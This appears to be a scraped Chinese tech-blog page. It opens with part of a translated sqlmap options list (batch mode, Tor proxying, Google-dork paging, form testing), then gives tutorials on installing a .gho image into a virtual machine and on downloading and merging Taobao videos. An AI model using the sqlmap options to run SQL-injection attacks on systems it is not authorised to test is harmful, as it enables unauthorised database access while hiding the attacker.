- –batch 从不询问用户输入,使用所有默认配置。
Miscellaneous(杂项):
- –beep 发现SQL注入时提醒
- –check-payload IDS对注入payloads的检测测试
- –cleanup SqlMap具体的UDF和表清理DBMS
- –forms 对目标URL的解析和测试形式
- –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
- –page-rank Google dork结果显示网页排名(PR)
- –parse-errors 从响应页面解析数据库管理系统的错误消息
- –replicate 复制转储的数据到一个sqlite3数据库
- –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
- –wizard 给初级用户的简单向导界面
【图文教程】如何将gho格式后缀的系统文件安装在空白的虚拟机上 技术文章
首先说一下,博主写这篇文章是因为博主在学习过程中恰好遇到了这个问题--如何将gho格式后缀的系统文件安装在空白的虚拟机上,并且最终解决了我的问题,所以在此小计一下。这时候系统文件是gho,没有安装菜单,不支持分区怎么办?那么看下面的方法,不需要iso虚拟机测试安装gho系统的方法.
还有一种情况是物理机安装了系统发现不对劲,怀疑是安装工具修改了系统,排查重装系统又太麻烦,就可以用虚拟机测试了.
准备工作:gho文件,DiskGenius,GhostExp,两个软件的下载地址:https://userscloud.com/lfbb6g8jv10m http://pan.baidu.com/s/1eRcw5xC
大致步骤我说一下,其中一些不需需要改变的步骤我就不说了,需要注意的地方和重要的地方我会贴图,详情请看图:
自定义创建:
不需要加载光驱,选择稍后安装系统:
这里可选择创建的虚拟系统的版本,这里是选择XP:
虚拟系统保存目录选择,可自定义,但是一定要记得保存的路径:
创建完虚拟机后打开DG分区工具,打开虚拟硬盘文件,就是虚拟系统的文件:
看好了,别选错了,一般就是你命名以为vdmk之类的结尾的:
这里只是作为演示,我就知分了一个区,在实际使用中,可以根据自己的需求来分区,然后格式化:
打开我的电脑就出现了Z盘:
然后用gho镜像浏览器打开gho系统镜像文件,全选,右键提取到Z盘:
切记--提取复制完后别忘了虚拟机磁盘管理取消共享的Z盘:
然后打开虚拟机电源启动虚拟系统,看见这个启动界面就是成功了..:如下图
以上是vm虚拟机安装测试系统的方法只用到了虚拟机和另外两个小工具,并没有用任何iso文件或者是什么PE系统....
掌握了这个方法以后遇到下载的gho就不用担心没法测试了.同时也方便大家在虚拟机安装gho格式的系统。不懂得可以评论留言,我看见了就会尽快回复。
如何下载淘宝视频?Mrxn分享个人下载心得体会和方法 技术文章
怎么下载淘宝视频?怎么下载淘宝上别人店铺视频的方法?google搜索结果的前几个进去看了一下,结果看评论都说是骗子,骗钱的,而且,作者的方法中把最重要的一步故意没写,写上他的QQ,这种人,我首先是嗤之以鼻的!至于其他的你们自己各有见解!
首先,我想下载淘宝视频,是因为在阿里云信任中心看到他们的视频觉得不错,就想下载下来,google一圈结果如上所述。。。那我自己来吧。最终还是搞定了,下面我就把方法说一下吧,大家喜欢的可以自己去折腾,如果有好的方法,欢迎告诉我啊!
熟话说,工欲善其事必先利其器!那我们下载淘宝视频需要准备以下几种工具:大名鼎鼎的IDM(博客有下载:传送门)、硕鼠(官网)、最好是google浏览器或者是火狐浏览器。
首先复制淘宝视频的链接,一般在淘宝视频的右下方都有一个分享,复制里面的flash链接,类似这样的:
http://cloud.video.taobao.com/play/u/229709/e/1/t/1/p/1/33261746.swf
复制到google浏览器或者是火狐浏览器地址栏,回车打开,你会发现地址有变化,这些不用管,之所以使用google浏览器或者是火狐浏览器而不是数字浏览器等。因为IDM对这两个浏览器支持比较好,你使用其他浏览器或许不能用IDM。
淘宝的视频进过加密的,或者是说是分段切断的,也并非像新东方那种使用rtmp协议的视频,当然也可以下载的,只是不好现在,可以围观这篇文章:新东方零基础法语语音入门收费课程分享,在播放过程中,边播放边加载进过函数切断的小片段,所以说,在播放过程中是不大可能直接获取整个视频的,当然,不排除有高手,欢迎共享方法!
打开flash连接后,如果你的IDM已经正确加载了话,就会在视频播放左下方弹出迷你的或者是完整的下载提示,我们可以边播边下载或者是等播放完/缓存进度条跑完在一起全部下载列表里面的视频片段。就像上面这视频,我下载完后是8个片段:
我们可以打开他们,他们其中有些是有视频的有的是只有声音的,但是内容都是正确的:
这时候,打开我们的硕鼠,选择视频合并,最好是选择合并独立版,并且找到IDM下载的那几个片段的文件夹里面的视频片段。如下图所示(点击放大查看原图):
然后点击合并就OK如果视频不大,很快,几秒钟就好了!这时候默认合并后的视频就在视频片段同目录下,如下图所示:
合并完之后就可以打开观看是否内容完整,一般情况下是完整的哈,如下图,我们道哥清晰可见哈(点击图片放大查看高清大图):
但是,当你弄完了,你会发现,视频的分钟数和网站上面播放的不一样,我这个网站上显示的是4分多钟,下载到本地合并后有17分钟,但是播放的时候发现,播放到后面十分钟时会一下跳好几分钟,但是视频一直都是很流畅,画质和网页的一样清晰。暂时没有发现其他的毛病。
我这个演示的视频下载好了,传到了百度云盘,大家可以看看和阿里云信任中心网站上的有啥不同。基本上一模一样,只是时间不一样!因为合并处理和网站的函数处理方法不一样哈(猜的,大牛不要笑,不要打-_-)。好了,今天的博文就写到这里的,把方法分享给大家,对有需要的有所帮助。PS:今天把群也解散了,有啥事请邮件或者是博客留言,给我留言:https://mrxn.net/guestbook.html。欢迎转载,严重鄙视那些复制不贴出处的人....画个圈圈诅咒你!